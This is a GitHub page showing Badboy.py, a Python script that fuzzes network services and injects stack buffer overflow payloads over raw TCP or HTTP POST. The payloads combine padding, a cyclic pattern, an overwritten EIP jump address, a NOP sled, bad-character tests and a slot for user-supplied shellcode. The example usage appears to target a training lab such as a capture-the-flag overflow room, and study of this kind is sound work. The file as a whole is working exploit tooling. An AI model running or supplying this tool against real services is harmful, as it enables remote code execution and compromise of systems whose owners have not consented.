-
Notifications
You must be signed in to change notification settings - Fork 3
Expand file tree
/
Copy pathBadboy.py
More file actions
229 lines (198 loc) · 9.24 KB
/
Badboy.py
File metadata and controls
229 lines (198 loc) · 9.24 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
#!/usr/env/python
import requests
import argparse
import socket
import sys
import time
import binascii
def parseArgs():
args = argparse.ArgumentParser(description="Fuzz and Inject payloads for Buffer bufferOverflows")
args.add_argument('--mode', help="Mode used during the execution of the script [fuzz, inject]")
args.add_argument('-c', help="Type of connection to use during fuzzing [http, raw-tcp]")
args.add_argument('-b', default=None, help="Bad Chars to exclude, during testing phase")
args.add_argument('-eip', default=None, help="Jump ESP address")
args.add_argument('-off', type=int, default=None, help="Offset or Overflow size (# of 'A')")
args.add_argument('--cpattern', type=int, default=0, help="Specify if a cyclic pattern is supplied from STDIN (Piped into the program) 1 = true, 0 = false \n e.g : msf-pattern_create -l 1600 | python3 Badboy.py --mode inject -c raw-tcp 10.10.112.205 1337 \"OVERFLOW9\" --cpattern 1")
args.add_argument('IP', help="IP Address of the target to fuzz on")
args.add_argument('Port', type=int, help="Port of the target service to fuzz on")
args.add_argument('Prefix', type=str, help="Prefix to use before the overflow, it could be a command or POST parameters")
return args.parse_args()
def checkValidOption(string, array, context):
try:
array.index(string)
return string
except:
print ("[-] {0} is not a valid {1}".format(string, context))
print ("[-] Valid {1} are {0}".format(array, context))
exit()
class Buffer:
__badcharsList = (
# You can exclude bad char with by appending -b from the shell
# e.g: -b "00,41,2F" to exclude "\x00\x41\x2F"
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
__prefix = ""
__overflowSize = 100 # Size of the overflow in bytes
__overflowSizeInc = 100 # Incremental value of the overflow in bytes
__bufferOverflow = 'A' * __overflowSize
__bufferOffset = '' # You can put your cyclic pattern here, however you need to set __overflowSize to [1] and __bufferOverflow to ['' * __overflowSize]
__eip = "CCCC" # Once EIP register is controlled, override this value by appending -eip from the shell
__nopsled = "\x90" * 16
__badchars = (
""
)
__shellcode = ( # Put your generated shellcode here ↓
""
)
def filterBadChars(self, badCharsList):
badCharBytes = []
for badChar in badCharsList:
badCharBytes.append(bytes.fromhex(badChar))
for badC in self.__badcharsList:
if bytes(badC,encoding='latin-1') not in badCharBytes:
self.__badchars += badC
def __init__(self, prefix, cPattern, off, eip, badChars=""):
self.__prefix = prefix
if cPattern == 1:
self.__bufferOffset = sys.stdin.read().strip()
self.__overflowSize = 1
self.__bufferOverflow = '' * self.__overflowSize
if off != None:
self.__overflowSize = off
self.__bufferOverflow = 'A' * self.__overflowSize
if eip != "" and eip!= None:
self.__eip = binascii.unhexlify(eip).decode('latin-1')
if badChars != "" and badChars != None:
badCharsList = badChars.split(",")
self.filterBadChars(badCharsList)
return
def incBufferOverflow(self):
self.__overflowSize += self.__overflowSizeInc
self.__bufferOverflow = 'A' * self.__overflowSize
def getBufferSize(self):
return self.__overflowSize + len(self.__bufferOffset) + len(self.__eip) + len(self.__nopsled) + (len(self.__badchars) if self.__shellcode == '' else len(self.__shellcode))
def getOverflowSize(self):
return self.__overflowSize
def getNOPSize(self):
return len(self.__nopsled)
def getEIP(self):
return self.__eip
def getBufferOverflow(self):
return self.__bufferOverflow
def getBadchars(self):
return self.__badchars
def getBufferOffset(self):
return self.__bufferOffset
def getShellcode(self):
return self.__shellcode
def getBufferString(self):
buffer = self.__bufferOverflow + self.__bufferOffset + self.__eip + self.__nopsled + (self.__badchars if self.__shellcode == '' else self.__shellcode)
return bytes("{0} {1}".format(self.__prefix, buffer), encoding='latin-1') # Change OVERFLOW1 with the Parameter or Argument preceding the buffer
class Connector:
__connectionType = ['http', 'raw-tcp']
__connection = ""
__isConnected = False
__sock = None
__targetIP = ""
__targetPort = 80
# Variables below are for HTTP Post request and should be reviewed manually
__targetURL = ""
__headers = {
'Host': __targetIP,
'User-Agent': 'Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 Firefox/52.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Referer': "{0}".format(__targetURL),
'Connection': 'close',
'Content-Type': 'application/x-www-form-urlencoded',
}
def __init__(self, connection, IP, Port):
self.__connection = checkValidOption(connection, self.__connectionType, 'connection type')
self.__sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.__targetIP = IP
self.__targetPort = Port
self.__targetURL = "http://{0}:{1}/login".format(self.__targetIP,str(self.__targetPort))
print ("[+] Connection type selected: {0}".format(self.__connection))
return
def send(self, buffer):
try:
if self.__connectionType[0] == self.__connection:
requests.post(self.__targetURL,data=buffer, headers=self.__headers)
elif self.__connectionType[1] == self.__connection:
self.__sock.send(buffer)
self.__sock.recv(1024)
except:
print ("\n[-] Cannot Connect to: {0}:{1} or service crashed".format(self.__targetIP,self.__targetPort))
exit()
def connect(self):
try:
print("\r[+] Connecting to {0}:{1}".format(self.__targetIP,self.__targetPort), end="")
if self.__connectionType[1] == self.__connection and not self.__isConnected:
self.__sock.connect((self.__targetIP,self.__targetPort))
self.__sock.recv(1024)
self.__isConnected = True
except:
print("[-] Unable to connect to {0}:{1}".format(self.__targetIP,self.__targetPort))
return
def close(self,):
if self.__connectionType[1] == self.__connection:
self.__sock.close()
return
class Badboy:
__requestLatency = 3 # Time in second before sending another request
__modeType = ['fuzz', 'inject']
__mode = ""
__connector = object
__buffer = object
def __init__(self, connector, mode, prefix, cPattern=0, off=None, eip=None, badChars=None):
self.__connector = connector
self.__buffer = Buffer(prefix, cPattern, off, eip, badChars)
self.__mode = checkValidOption(mode, self.__modeType, 'mode')
return
def start(self):
if self.__modeType[0] == self.__mode:
self.__fuzz()
elif self.__modeType[1] == self.__mode:
print ("[+] Overflow value set to : A x {0} bytes".format(str(self.__buffer.getOverflowSize())))
print ("[+] EIP value set to : {0} ".format( binascii.hexlify(bytes(self.__buffer.getEIP().encode('latin-1')))))
print ("[+] NOP instructions padding : {0} bytes".format(str(self.__buffer.getNOPSize())))
print ("[+] Shellcode length : {0} bytes".format(len(self.__buffer.getShellcode())))
self.__inject()
return
def __inject(self):
self.__connector.connect()
bufferSize = self.__buffer.getBufferSize() if self.__mode == self.__modeType[1] else self.__buffer.getOverflowSize()
print ("\r[+] Sending Badboy buffer of : {0} bytes".format(str(bufferSize)), end="")
self.__connector.send(self.__buffer.getBufferString())
return
def __fuzz(self):
while True:
self.__inject()
self.__buffer.incBufferOverflow()
time.sleep(self.__requestLatency)
def getMode(self):
return self.__mode
def main():
args = parseArgs()
connector = Connector(args.c,args.IP,args.Port)
fuzzer = Badboy(connector, args.mode, args.Prefix, args.cpattern, args.off, args.eip, args.b)
print ("[+] Starting Badboy in {0} mode".format(fuzzer.getMode()))
fuzzer.start()
return
if __name__ == "__main__":
main()